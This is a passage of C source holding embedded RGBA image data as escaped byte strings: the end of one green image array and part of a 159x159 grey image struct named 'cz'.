"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\321\350\321\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377b\261b\377\000\200\000\377\000\200\000\343\000\200"
"\000\331\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\265\332\265\377\335\356\335\377\335\356\335"
"\377\335\356\335\377\335\356\335\377\335\356\335\377\335\356\335\377\335"
"\356\335\377\335\356\335\377\335\356\335\377\335\356\335\377\335\356\335"
"\377\335\356\335\377\335\356\335\377\335\356\335\377\335\356\335\377\335"
"\356\335\377\335\356\335\377U\252U\377\000\200\000\377\000\201\000\330\000\200\000\204"
"\000\200\000\370\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\367\000\200\000\201\000\213\000\013\000"
"\201\000\334\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\334\000\216\000\011\000\000\000\000\000\200\000"
"\"\000\200\000\337\000\200\000\370\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\367\000\201\000\336\000\203\000!\000\000\000\000\000\000\000\000\000\000\000\000\000\200\000\014\000\177"
"\000\201\000\200\000\334\000\200\000\337\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177\000\353\000\177"
"\000\353\000\177\000\353\000\177\000\353\000\200\000\337\000\200\000\334\000\200\000~\000\213\000\013"
"\000\000\000\000\000\000\000\000",
};
static struct {
unsigned int width;
unsigned int height;
unsigned int bytes_per_pixel; /* 2:RGB16, 3:RGB, 4:RGBA */
unsigned char pixel_data[159 * 159 * 4 + 1];
} cz = {
159, 159, 4,
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\001pppIppp\241ppp\330ppp\333"
"ppp\031\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000qqq\066ppp\343ppp\317ooo\225ooo\067\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000nnn:qqq\314"
"ppp\377ppp\377ppp\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377ppp\377ppp\377"
"ppp\377ooo\265rrr&\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000qqqoppp\372ppp\377tss\377\205\203\203\377yyy\377ppp\377pppK\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000qqqsppp\377}||\377\202\200\200\377qqq\377ppp\377ppp\360qqqM\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000ppp{ppp\377qqq\377\204\202\202\377\232\226"
"\226\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203"
"\202\202\377\234\230\230\377\230\225\225\377\177~~\377ppp\377ppp\374qqqD"
"\000\000\000\000\000\000\000\000\000\000\000\000ooo<ppp\375ppp\377\214\212\212\377\234\230\230\377"
"\234\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqspp"
"p\377\203\202\202\377\234\230\230\377\234\230\230\377\233\227\227\377\204"
"\202\202\377ppp\377ppp\352mmm\034\000\000\000\000\000\000\000\001ppp\321ppp\377\207\204\204"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377"
"ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377ooo\247\000\000\000\000"
"rrrAppp\377uuu\377\233\227\227\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203"
"\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\227\223\223\377qpp\377ppp\374qqq\033ooo\225ppp\377\206\204\204\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377pppK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"~||\377ppp\377qqqjppp\312ppp\377\221\216\216\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377pp"
"pK\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000qqqsppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\212\207\207\377ppp\377"
"ppp\237ppp\354ppp\377\230\224\224\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377pppK\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
